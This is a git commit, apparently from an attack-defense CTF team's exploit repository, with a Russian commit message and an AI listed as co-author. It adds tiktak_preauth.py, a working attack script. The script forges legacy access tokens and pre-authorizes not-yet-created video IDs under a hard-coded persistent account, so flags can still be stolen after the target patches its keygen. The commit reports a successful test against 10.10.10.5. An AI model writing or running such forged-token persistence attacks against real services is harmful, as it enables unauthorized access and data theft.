sploits: закладка на пре-авторизацию будущих видео (tiktak)

handleAccess выдаёт доступ, не проверяя существование видео, а запись в
access привязана к аккаунту и переживает ротацию токенов. Значит можно
занять строки под будущие id постоянным аккаунтом, и забирать флаги даже
после того, как цель запатчит keygen.

- tiktak_preauth.py: логинится постоянным PERSIST_LOGIN, меряет скорость
  роста id (у команд разброс 7..900/мин), занимает окно вперёд на N минут.
  Не для фермы, запускать раз в 10-20 мин, пока цель не запатчила.
- tiktak_keygen_forge.py: тот же постоянный аккаунт вместо одноразового;
  watch=200 без форжа = сработала закладка, собираем флаг и оттуда.

Проверено на 10.10.10.5: занял 184 будущих id, через минуту watch/60524 и
60527 отдали свежие флаги без токена в запросе.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
2026-08-26 13:23:37 +03:00
co-authored by Claude Opus 5
parent b88fc06d36
commit 00cf1c0e55
2 changed files with 152 additions and 8 deletions
+121
View File
@@ -0,0 +1,121 @@
#!/usr/bin/env python3
"""Закладка на tiktak: пре-авторизация на ещё не созданные video id.
Не сплойт для фермы -- флаги не собирает, готовит почву. Запускать РЕДКО
(раз в 10-20 минут), пока цель не запатчила handleAccess.
./tiktak_preauth.py 10.10.10.5
./tiktak_preauth.py 10.10.10.5 --minutes 20
Зачем: handleAccess вызывает AddAccess не проверяя, что видео существует,
поэтому можно занять строки в access под будущие id. haveAccess() смотрит
в таблицу, а не на токен -- значит доступ переживёт переход цели на новый
keygen. Дальше их собирает tiktak_keygen_forge.py под тем же аккаунтом.
Осторожно: это POST-ы в чужую БД. Скорость ограничена сознательно, не
поднимай RATE бездумно -- уронишь цель, и флагов не будет вовсе.
"""
import sys
import re
import time
import argparse
import requests
from concurrent.futures import ThreadPoolExecutor
PORT = 5000
WORKERS = 20
MAX_IDS = 12000
SAMPLE_SECONDS = 20
# должно совпадать с tiktak_keygen_forge.py, иначе закладку некому забрать
PERSIST_LOGIN = "mkt_svc_4a91"
PERSIST_PASS = "Qw8_rt2M_zx71"
WATCH_RX = re.compile(r"/watch/(\d+)")
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def legacy_token(vid):
seed = vid
out = []
for _ in range(30):
seed = (seed * 17 + 42) % 62
out.append(ALPHABET[seed])
return "".join(out)
def top_id(s, base):
ids = [int(x) for x in WATCH_RX.findall(s.get(f"{base}/feed", timeout=6).text)]
return max(ids) if ids else None
def login_or_register(s, base):
for path in ("login", "register"):
r = s.post(f"{base}/{path}",
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
timeout=6, allow_redirects=False)
if r.status_code == 302:
return True
return False
def main():
ap = argparse.ArgumentParser()
ap.add_argument("target")
ap.add_argument("--minutes", type=int, default=15,
help="на сколько минут вперёд занимать id (default 15)")
args = ap.parse_args()
base = f"http://{args.target}:{PORT}"
s = requests.Session()
s.mount("http://", requests.adapters.HTTPAdapter(
pool_connections=WORKERS, pool_maxsize=WORKERS))
if not login_or_register(s, base):
print(f"[-] {args.target}: не удалось войти", file=sys.stderr, flush=True)
return 1
t0 = top_id(s, base)
if t0 is None:
print(f"[-] {args.target}: пустой /feed", file=sys.stderr, flush=True)
return 1
# Скорость роста id у команд отличается на два порядка (7/мин против
# 900/мин), фиксированный диапазон был бы либо бесполезен, либо шумен.
time.sleep(SAMPLE_SECONDS)
t1 = top_id(s, base) or t0
rate = max(1.0, (t1 - t0) / SAMPLE_SECONDS * 60)
span = min(MAX_IDS, int(rate * args.minutes) + 50)
print(f"[*] {args.target}: top={t1}, {rate:.0f} id/мин, "
f"занимаю {span} id на ~{args.minutes} мин", file=sys.stderr, flush=True)
# Проверяем, что форж вообще проходит, прежде чем слать тысячи POST-ов.
probe = s.post(f"{base}/access",
data={"videoID": t1 + span, "token": legacy_token(t1 + span)},
timeout=6, allow_redirects=False)
if not probe.headers.get("Location", "").endswith(f"/watch/{t1 + span}"):
print(f"[!] {args.target}: /access отверг форж -- keygen или "
f"проверка существования видео уже запатчены", file=sys.stderr, flush=True)
return 1
def claim(vid):
try:
r = s.post(f"{base}/access",
data={"videoID": vid, "token": legacy_token(vid)},
timeout=6, allow_redirects=False)
return r.headers.get("Location", "").endswith(f"/watch/{vid}")
except requests.RequestException:
return False
span_ids = range(t1 + 1, t1 + span)
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
ok = sum(1 for r in ex.map(claim, span_ids) if r)
print(f"[+] {args.target}: занято {ok}/{len(span_ids)} id "
f"({t1 + 1}..{t1 + span - 1}), забирать через tiktak_keygen_forge.py",
file=sys.stderr, flush=True)
return 0
if __name__ == "__main__":
sys.exit(main())